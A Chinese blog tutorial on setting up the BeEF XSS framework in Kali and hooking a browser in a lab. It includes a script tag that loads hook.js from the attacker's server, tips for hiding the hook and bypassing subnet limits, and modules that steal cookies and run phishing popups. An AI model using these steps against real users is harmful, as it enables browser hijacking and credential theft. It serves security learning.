kali之beef的使用

一、beef介绍

BeeF是前欧美最流行的web框架攻击平台,kali 集成Beef,而且Beef有很多好使的payload。例如,通过XSS这个简单的漏洞,BeeF可以通过一段编制好的javascript控制目标主机的浏览器,通过浏览器拿到各种信息并且扫描内网信息,同时能够配合metasploit进一步渗透主机,强大的有些吓人。
beef也是属于c/s结构,具体看图
在这里插入图片描述zombie(僵尸)即受害的浏览器。zombie是被hook(勾连)的,如果浏览器访问了有勾子(由js编 写)的页面,就会被hook,勾连的浏览器会执行初始代码返回一些信息,接着zombie会每隔一段时间 (默认为1秒)就会向BeEF服务器发送一个请求,询问是否有新的代码需要执行。BeEF服务器本质上就 像一个Web应用,被分为前端UI,和后端。前端会轮询后端是否有新的数据需要更新,同时前端也可以向后端发送指示, BeEF持有者可以通过浏览器来登录BeEF 的后台管理UI。

二、kali下使用beef

kali默认已经安装了beef,但是我的kali没有,我也不知道为什么0.0,那就自己装一个吧。命令:

apt install beef-xss

kali已经把beef-xss做成服务了,推荐使用systemctl 命令来启动或关闭beef服务器

systemctl start beef-xss.service  #开启beef 
systemctl stop beef-xss.service     #关闭beef 
systemctl restart beef-xss.service  #重启beef

配置beef

kali下的BeeF配置文件在 /usr/share/beef-xss/config.yaml,其它的配置文件也在这个目录的子目录 下,往后在使用某些功能时,需要修改对应的配置文件。自主安装的BeeF配置文件会在BeeF的主目录 下config.yaml,建议修改几个地方:

permitted_hooking_subnet: "0.0.0.0/0"     #指定某个网段,只有在这个网段的浏览器才能被hook
permitted_ui_subnet: "0.0.0.0/0"          #指定某个网段,只有在这个网段的浏览器才能访问管理UI
                            #上面这两项都是可以被绕过的,只要使用X-Forwarded-For首部绕过,一般不需要设置
host: "0.0.0.0"                           #设置beef服务器的主机, 如果有自己的域名, 那么可以设置自己的域名, 没有就使用默认
port: "3000"                              #设置beef服务器监听的端口, 可以自己定一个,比如8080, 记得端口号需要大于1024
xhr_poll_timeout: 1000                    #受害浏览器轮询beef主机的时间, 默认为1秒,可以设置为更低。
public: ""                                #public hostname/IP address 
public_port: ""                           #experimental 
                   # 这是让BeEF运行在一个反向代理或者NAT环境下才需要设置的。 
web_ui_basepath: "/ui"                    #管理页面的URI, 默认是/ui, 建议修改,这样就不会让别人找到你的管理页面
hook_file: "/hook.js"                     #hook_file 的名称, 建议修改, 可以修改为jquery.js之类的来提升隐蔽性
credentials: user: "beef" passwd: "beef"  #管理页面登录的用户名和密码, 这个一定要改,两个都改是最好的

实际操作

接下来实际使用BeEF,体验一下。首先修改监听的ip地址为kali的ip
在这里插入图片描述
开启BeEF服务器(可以命令行beef-xss打开或者应用程序打开),接着用浏览器访问管理页面http://192.168.133.131:3000/ui/panel, 使用设置的用户/密码登录。
在这里插入图片描述
接着访问有勾子的页面http://192.168.133.131:3000/demos/basic.html 这里的主机名和端口号要按照你设置的来修改, 这里要注意一下kali下beef版本的勾子不支持IE8,最新版或者旧一些的版本可以。所以要使用其他浏览器来访问有勾子的页面。
下面给出一个写有勾子的页面,把创建文件test.html,并把下面内容写到其中:

<html>
<head>
<script src='http://192.168.133.131:3000/hook.js'></script> <!-- 这里的主机和端口号,需要 和配置文件的一致。 --> 
</head> 
<body> Hello World </body> 
</html>

接着使用一个浏览器来打开,那么这个浏览器就会被hook了。 查看管理页面UI会是类似下面图:
在这里插入图片描述
接着我们就可以在commands里面进行各种操作了比如
获取cookie
在这里插入图片描述网页重定向
在这里插入图片描述社工弹窗
在这里插入图片描述
目标机页面
在这里插入图片描述
如果对方输入了信息,kali还能接收到。
在这里插入图片描述
在内部,BeEF可以检测出哪些命令模块可以在当前受害的浏览器工作, 并用颜色表示:
绿色:命令模块可以在目标浏览器上运行,且用户不会感到任何异常
橙色:命令模块可以在目标浏览器上运行,但是用户可能会感到异常(比如可能会有弹窗,提示,跳转 等)
灰色:命令模块尚未针对此目标进行验证,即不知道能否可运行
红色:命令模块不适用于此目标

本文所介绍技术仅供参考学习,切勿恶意用途

  • 30
    点赞
  • 130
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值